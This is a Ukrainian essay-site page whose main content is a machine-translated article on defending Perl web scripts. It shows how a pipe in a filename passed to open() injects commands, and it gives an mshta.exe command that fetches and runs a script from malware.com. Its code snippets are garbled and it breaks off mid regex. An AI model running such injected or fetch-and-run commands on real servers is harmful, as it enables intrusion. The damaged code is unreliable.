ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Защищаем Perl: шунт в мозок, або звіряча нейрохірургія
         

     

    Інформатика, програмування

    Защищаем Perl: шунт в мозок, або звіряча нейрохірургія

    Мова програмування Perl, будучи встановленим на Web-сервер, відрізняється високими вимогами до уважності розробника і кваліфікації системного адміністратора, при найменшої помилку людини залишаючи систему "відкритою і доступною" для зломщиків усього світу. У статті розглянута можливість понизити загрозу, встановлюючи свої власні захисні механізми (на прикладі "хірургічного відрізання" і перехоплення функцій читання, записи і виконання файлів в системі Windows).

    Якщо ви програмуєте (або збираєтесь програмувати) Internet-додатки на мові Perl, то напевно стикалися з інформацією, яка описує вразливості цієї мови для хакерських атак. Найпростіший скрипт, наведений в будь-якому підручнику по мові Perl, на перевірку виявляється "широко відкритими воротами" для хакерів, як досвідчених, так і початківців. Наприклад, фрагмент коду, який просто виводить вміст зазначеного файлу

    open (f, $ filename);

    while ()

    (

    print;

    )

    насправді може виконувати і інші дії. Подайте на його вхід рядок "| calc.exe", і ви запустіть на виконання стандартний калькулятор. У запуску на віддаленому сервері стандартних програм (таких як calc.exe або notepad.exe) мало сенсу, якщо не знати про ідеальну відмичку хакера - утиліту mshta.exe. Вона входить до стандартне постачання Windows і дозволяє легко і невимушено закачувати в атакується систему і виконувати в ній довільний код.

    Наприклад, виконання в системі команди:

    mshta.exe http://www.malware.com/foobar.hta

    призведе до завантаження на комп'ютер файлу foobar.hta і виконання його як скрипта VBS. Цей приклад створює і запускає нешкідливе (за запевненнями організаторів сайту malware.com) додаток для MS-DOS, що показує стандартний алгоритм генерації полум'я. Природно, таким же способом можна закачати і виконати в системі довільний файл, навіть якщо його там ще немає.

    Кому це потрібно?

    Мені хотілося б розвіяти упередження деяких системних адміністраторів, що злом саме їх сервера нікому не потрібний. Залізний аргумент - посилання на Невловимого Джо ( "не така вже ми важна птиця, щоб нас ламати "). Насправді, злом будь-якого (довільного) сервера може принести хакеру користь, оскільки відкриває йому нові чудові можливості:

    Надіслати з уразливого сервера пару-трійку гігабайт поштового спаму.

    Влаштувати на вразливому сервер "варезятнік" для неліцензійного софту, музики та відео.

    Виконати складний і цікавий математичний розрахунок (зазвичай прораховують криптографію, щоб підібрати чийсь ключ, залучаючи до цього процесу - щоб справа йшла швидше - безліч зламаних машин).

    Зламати або "заглушити" сміттєвими запитами (атака "відмова в обслуговуванні ") більш важливий сервер (наприклад, сервер якого-небудь банку або державної установи).

    Таким чином, вразливі сервери, незалежно від їх важливості, становлять небезпеку не меншу, ніж ті люди, які вміють використовувати ці сервери за їх прямим призначенням. :-)

    Чому Perl вразливий?

    Раціональне пояснення, навіщо функція open в Perl відпрацьовує символ конвеєра | як команду запустити програму на виконання, дати складно: Perl взагалі досить ірраціональний (зате гнучкий і компактний) мова. :-) Автор мови Perl Ларрі Уолл жартома розшифровує його назву як Patalogically Eclectic Rubbish Lister (Паталогічна Еклектичний Сміттєвий Лістер) - ми можемо лише побажати, щоб наступні його версії розвивалися в напрямі більшої безпеки, однозначності і безпомилковості коду - таких необхідних якостей для загальнодоступних Internet-додатків. Безумовно, "патологічность", "еклектичність" і "сміттєвих" - це негативні риси, з якими Ларрі Уолл повинен боротися. :-)

    Фільтрація користувальницької введення

    У статтях про безпечний програмування на мові Perl можна зустріти рекомендації фільтрувати призначений для користувача введення: зокрема, видаляти з отриманих ззовні рядків символи | та інші знаки, що мають в Perl спеціальне значення. Наприклад, наступна фільтрація введення "знезаразить" отримане ззовні ім'я файлу від спеціальних та небезпечних символів.

    if ($ filename =~/[|-&./

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status